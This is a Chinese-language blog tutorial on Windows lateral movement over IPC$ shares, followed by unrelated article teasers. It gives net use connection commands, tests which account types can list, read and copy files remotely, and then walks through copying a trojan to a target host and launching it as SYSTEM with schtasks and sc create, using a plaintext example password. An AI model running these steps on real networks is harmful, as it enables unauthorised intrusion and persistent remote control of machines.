IPC$横向移动

一. IPC$介绍和连接方式

1. IPC$介绍

IPC( Internet Process Connection)共享,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

共享文件
文件共享是指主动地在网络上共享自己的计算机文件。默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c 、 d 、d d、e 、 a d m i n 、admin admin) 可以实现对这些默认共享目录的访问(如果当前主机(A)用户的账号是administrator,目标机器(B)的账户administrator和A的administrator密码相同,不需要输入密码就可以访问,默认会用本地相同的账号密码进行认证)

2.IPC$连接方式
net use \\IP\ipc$ "password" /user:"username" (工作组)
net use\\域名\ipc$ “域成员密码” /user:域名\域成员账号(域用户)
net use \\IP\ipc$ /del

在这里插入图片描述
在这里插入图片描述

二. IPC$利用的条件

1、开启了139、445端口
IPC$可以实现远程登录及对默认共享资源的访问, 445端口可以实现对共享文件打印机的访问。因此,一般来讲需要445端口的支持。
在这里插入图片描述

2、管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$、admin$) 可以实现对这些默认共享目录的访问 (net share)

在这里插入图片描述

3、必须知道对方机器的用户名和密码

在这里插入图片描述

在内网中,很多电脑的账号密码都是一样的,可以通过抓取本地的账号密码,
然后和对方的电脑建立IP连接

共享命令
Net share
Net share c$ /del 删除共享
Net share K=C:设置C盘共享,共享名字为K

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三. 不同用户IPC$下的命令权限

1.IPC建立之后可以执行很多命令,如下
dir \\IP\c$
tasklist /sIP
type \\IP\c$\文件路径
net time \\IP地址
copy 文件 \\IP地址\C$
2.测试
接下来我么使用不同的用户去建立IPC$看看是否可以执行如下的命令:
administrator
普通管理员
普通用户
域管理员
域内普通用户

administrator

建立连接
在这里插入图片描述
执行命令

dir \\192.168.41.143\C$

在这里插入图片描述

tasklist /s 192.168.41.143

在这里插入图片描述

type \\192.168.41.143\C$\1.txt

在这里插入图片描述

net time \\192.168.41.143

在这里插入图片描述

copy 2.txt \\192.168.41.143\C$

在这里插入图片描述
由上可知admininstrator的所有命令都支持

普通管理员
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
由上可知普通管理员只支持查看时间

普通用户
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
由上可知普通用户只支持查看时间

域管用户
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
由上可知域管支持所有命令

域内普通用户
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

由上可知域内普通用户只支持查看时间

四. IPC$配合计划任务横向

计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行

Windows xp 电脑使用 at命令
Windows XP之后的电脑使用 schtasks
在这里插入图片描述
在这里插入图片描述
IPC配合计划任务横向
环境:已经上线内网中的一台机器抓取到密码,准备横向另一台机器
在这里插入图片描述
先与目标机创建IPC连接
在这里插入图片描述

将木马copy到目标机
在这里插入图片描述

创建计划任务

schtasks /create /s 192.168.41.20 /u administrator /p Lyp010822 /tn test /tr C:/1.exe /sc onstart /RU System /F
schtasks /create /s 192.168.41.20 /tn test /tr C:/1exe  /sc onstart /RU System /F
这里走的是RPC协议

在这里插入图片描述

运行计划任务

schtasks /run /s IP地址  /u username /p password /i /tn "计划任务名称"
schtasks /run /s 192.168.41.20  /u administrator /p Lyp010822 /i /tn "test"

在这里插入图片描述
删除计划任务

schtasks /delete /s IP地址  /u username /p password /tn "计划任务名称" /f
schtasks /delete /s 192.168.41.20  /u administrator /p Lyp010822 /tn "test" /f

在这里插入图片描述

五. IPC$配合服务横向

Microsoft Windows 服务(即,以前的 NT 服务)使您能够创建在它们自己的 Windows 会话中可长时间运行的可执行应用程序

在这里插入图片描述
相关命令
在这里插入图片描述

接上面的步骤成功将木马copy到目标机器
创建服务(这里走的是smb协议)

sc \\192.168.41.20 create test1 binpath= "cmd.exe /c c:\1.exe"

在这里插入图片描述

开启服务成功上线

sc \\ 192.168.41.20 start test1

在这里插入图片描述

删除服务

sc \\192.168.41.20 delete test

在这里插入图片描述

六. IPC$配合盘符横向

盘符映射就是将远程的共享盘映射到自己的电脑上然后操作自己的电脑就可以

net use k: \\IP\c$(前提是建立IPC的连接下)

在这里插入图片描述
但是能在本地进行上传和下载文件
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/653835.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

项目开发-若依框架

文章目录 框架下载及运行项目学习需求修改左侧菜单栏增加标签-项目信息搭建过程问题解决 后续需要看的内容 框架下载及运行 下载安装: https://blog.csdn.net/anxiaoxiao61/article/details/122505963 https://blog.csdn.net/m0_67376124/article/details/12761749…

安全阀校准周期是多久?重要性、影响因素与周期建议

安全阀,作为阀门家族中特殊的分支,其重要性不言而喻。 在压力操控设备项目工程中,安全阀扮演着至关重要的角色。它不同于其他阀门仅起开关作用,更重要的是能够保护设备的安全。 安全阀根据压力系统的工作压力自动启闭&#xff0…

RT_Thread内核源码分析(一)——CM3内核和上下文切换

目录 一、程序存储分析 1.1 CM3内核寻址空间映射 1.2 程序静态存储和动态执行 二、CM3内核相关知识 2.1 操作模式和特权极别 2.2 环境相关寄存器 2.2.1 通用寄存器组, 2.2.2 状态寄存器组 2.2.3 模式切换环境自动保存 2.2.4 函数调用形参位置 2.3 …

本特利330180-51-00前置器在工业自动化中的应用与优势

本特利330180-51-00前置器在工业自动化中的应用与优势 作为PLC技术员,在工业自动化领域中,我们经常接触到各种传感器和前置器。其中,本特利330180-51-00前置器以其卓越的性能和广泛的应用领域,受到了业界的广泛关注。本文将详细介…

野外作战武器操作3D模拟实操仿真训练以便老兵能适应不同的训练需求

强国必须强军,我国在军事方面的投入持续加大,自然在军事武器培训方面不容忽视,在军事领域,3D模拟展示不仅提升了军事训练的效率,还为我们提供了更加直观、真实的武器体验。 首先,3D军事武器模拟展示能够提供…

Kyndryl 与 Nvidia 建立新的人工智能基础设施合作伙伴关系

Kyndryl与Nvidia宣布达成新的人工智能基础设施战略合作,共同推动AI技术的广泛应用。根据这一合作,Nvidia的先进AI软件解决方案将被引入Kyndryl的开放集成平台——Kyndryl Bridge,以优化基础设施工作负载,并为客户提供更高效的IT服…

青岛有哪些媒体资源?参展参会邀约报道

传媒如春雨,润物细无声,大家好,我是51媒体网胡老师。 青岛,以其优越的地理位置、丰富的产业资源、高度国际化的开放程度以及完善的会展设施,成为国内外知名的展览展会举办地。 此外,青岛作为中国重要的沿海…

leetCode.82. 删除排序链表中的重复元素 II

leetCode.82. 删除排序链表中的重复元素 II 题目思路: 代码 class Solution { public:ListNode* deleteDuplicates(ListNode* head) {auto dummy new ListNode(-1);dummy->next head;auto p dummy;while(p->next){auto q p->next->next;while(q …

开源博客项目Blog .NET Core源码学习(23:App.Hosting项目结构分析-11)

本文学习并分析App.Hosting项目中后台管理页面的标签管理页面、轮播图维护页面。 标签管理页面 标签管理页面用于显示、检索、新建、编辑、删除标签数据,以便在前台页面的首页及文章专栏等页面显示标签数据。标签管理页面附带一新建及编辑页面,以支撑新…

Python中的数据可视化:桑基图Sankey

【小白从小学Python、C、Java】 【考研初试复试毕业设计】 【Python基础AI数据分析】 Python中的数据可视化: 桑基图 Sankey [太阳]选择题 根据给定的Python代码,哪个选项是正确的? import matplotlib.pyplot as plt from matplotlib.sanke…

香橙派 AIpro的NPU随手记体验日记

昇腾AI 技术路线 8TOPS INT8(FP16)AI算力 LPDDR4X 8GB/16GB 📅 20240525 开放了原理图和源码,功能接口就不描述了手册都有描述,新手好好学习可以从底层覆盖到应用一个载板拿下 完成香橙派AIpro上手体验 镜像安装&am…

科技查新是什么?一文了解!

本文主要解答 1、什么是科技查新? 2、科技查新有哪些作用? 3、科技查新一般应用于什么地方? 4、在哪能出具正规查新报告? 5、科技查新流程是怎样的? 带着这些问题阅读这篇文章相信一定会有收获!干活内…

大模型备案VS算法备案:差异、要求与合规快照

​下图为最新的直至第五批深度合成服务算法备案信息的公告 根据目前公开的国内大模型算法备案统计来看,首批境内深度合成服务算法备案清单,总共通过了五批。 以第二批举例,境内深度合成服务算法备案清单,总共通过110家&#xff0…

Nginx企业级负载均衡:技术详解系列(13)—— 四层访问控制

你好,我是赵兴晨,97年文科程序员。 今天,咱们聊聊Nginx的一个核心功能——四层访问控制。 废话不多说,让我们直接进入正题,一探究竟! 四层访问控制 Nginx的四层访问控制指的是在传输层(TCP层…

【C++】vector常见的使用方式

前言:在上一篇中我们讲到了string类的模拟实现,今天我们将进一步的去学习vector的一些常用的使用方法。 💖 博主CSDN主页:卫卫卫的个人主页 💞 👉 专栏分类:高质量C学习 👈 💯代码仓…

简单的利用有限脉冲响应(FIR)滤波器对心电信号进行降噪(Python)

代码很简单。 import numpy as np import matplotlib.pyplot as plt#------------------------Bandstop Filter Function------------------------ def bandstop(M,low,high,Fs):#50Hz removalk1 int( (low/Fs)*M) # index 22k2 int( (high/Fs)*M) # index 27#DC removalk0 …

【头歌】计算机网络DHCP服务器配置第四关配置路由器子接口答案

头歌计算机网络DHCP服务器配置第四关配置路由器子接口操作步骤 任务描述 本关任务:配置路由器的子接口。 操作要求 在第一关的拓扑图的基础上,配置路由器及 PC 机,具体要求如下: 1、打开路由器物理接口 F0/0 ; 2、配置…

安全攻防三

一、IDS: 当黑客绕过了防火墙,你该如何发现? IDS (Intrusion Detection System,入侵检测系统) NIDS 内网中检测网络流量攻击 黑客如果已经进去内网,防火墙就没办法保护了 NIDS部署在交换机和路由器这些路…

基于Vue的自定义服务说明弹窗组件的设计与实现

基于Vue的自定义服务说明弹窗组件的设计与实现 摘要 随着技术的不断发展,前端开发面临着越来越高的复杂性和不断变化的需求。传统开发方式往往将整个系统构建为整块应用,这导致对系统的任何微小改动都可能触发整体的逻辑变更,从而增加了开发…

软件测试/测试开发丨学习笔记之Allure2测试报告

Allure2测试报告 1、使用 Allure2 运行方式-Python 1)–alluredir 参数生成测试报告。 在测试执行期间收集结果 pytest [测试用例/模块/包] --alluredir./result/ (—alluredir这个选项 用于指定存储测试结果的路径)#生成在线的测试报告 allure serve ./result2…